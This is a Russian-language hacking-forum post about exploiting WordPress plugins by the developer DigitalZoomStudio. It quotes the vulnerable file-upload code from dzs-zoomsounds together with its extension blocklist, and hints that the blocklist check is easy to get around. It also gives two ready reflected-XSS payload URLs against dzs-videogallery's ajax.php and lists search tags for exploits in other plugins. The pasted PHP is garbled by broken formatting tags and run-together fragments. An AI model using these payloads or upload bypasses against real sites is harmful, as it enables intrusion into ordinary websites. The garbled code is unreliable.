В паблике была опубликована такая бага:
https://www.exploit-db.com/exploits/37166/ - [SIZE="2"][B]WordPress dzs-zoomsounds Plugins invalid extension - disallowed_filetypeshideFeedbacksCall()'[/COLOR]
);
}
if (!is_writable($upload_dir)) {
die('dir not writable - check permissionshideFeedbacksCall()');
}
if (copy($_FILES['file_field']['tmp_name'],$path)) {
echo'file uploadedtop.hideFeedbacksCall();';
} else {
echo'file could not be uploadedwindow.hideFeedback sCall()';
}
} else {
$headers=get_theheaders();
if (isset($headers['HTTP_X_FILE_NAME'])) {
//print_r($headers);
$file_name=$headers['HTTP_X_FILE_NAME'];
$file_name=str_replace(" ","_",$file_name);// strip spaces
$target=$upload_dir."/".$file_name;
//==== checking for disallowed file types
$sw=false;
foreach ($disallowed_filetypesas$dft) {
$pos=strpos($file_name,$dft);
if ($pos!==false) {
$sw=true;
}
}
if ($sw==true) {
die('invalid extension - disallowed_filetypes');
}
if (!is_writable($upload_dir)) {
die('dir not writable - check permissions');
}
//echo $target;
$content=file_get_contents("php://input");
if (file_put_contents($target,$content)) {
echo'success';
} else {
die('error at file_put_contents');
}
} else {
die('not for direct access');
}
}[/COLOR]
[/PHP]
максимальная строчка с набором расширений на глаза попалась такая:
$disallowed_filetypes = array('.php', '.exe', '.shtml', '.html', '.htm','.phtml','.php5', '.php4', '.pl', '.py', '.rb', '.htaccess', '.asp', '.jsp', '.aspx');
но кто поймет этот участок кода:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]foreach ([/COLOR][COLOR="#0000BB"]$disallowed_filetypes[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$dft[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$pos[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file_name[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$dft[/COLOR][COLOR="#007700"]);
if ([/COLOR][COLOR="#0000BB"]$pos[/COLOR][COLOR="#007700"]!==[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$sw[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"];
}
}[/COLOR][/COLOR]
поймет что нам это не помеха ;-)
Пассивные XSS:
wp-content/plugins/dzs-videogallery/ajax.php?source="/>alert();
wp-content/plugins/dzs-videogallery/ajax.php?type="/>alert();
http://digitalzoomstudio.net/ - блог автора
http://codecanyon.net/user/ZoomIt/portfolio - портфолио продаж компонентов
P.S: Тэги для гугла)) dzs-videogallery exploit, dzs-zoomsounds exploit, dzs-calendar exploit, html5uploader exploit, php_ygallery exploit, php_mediagallery exploit, custom_rapista exploit, themes/royale/ exploit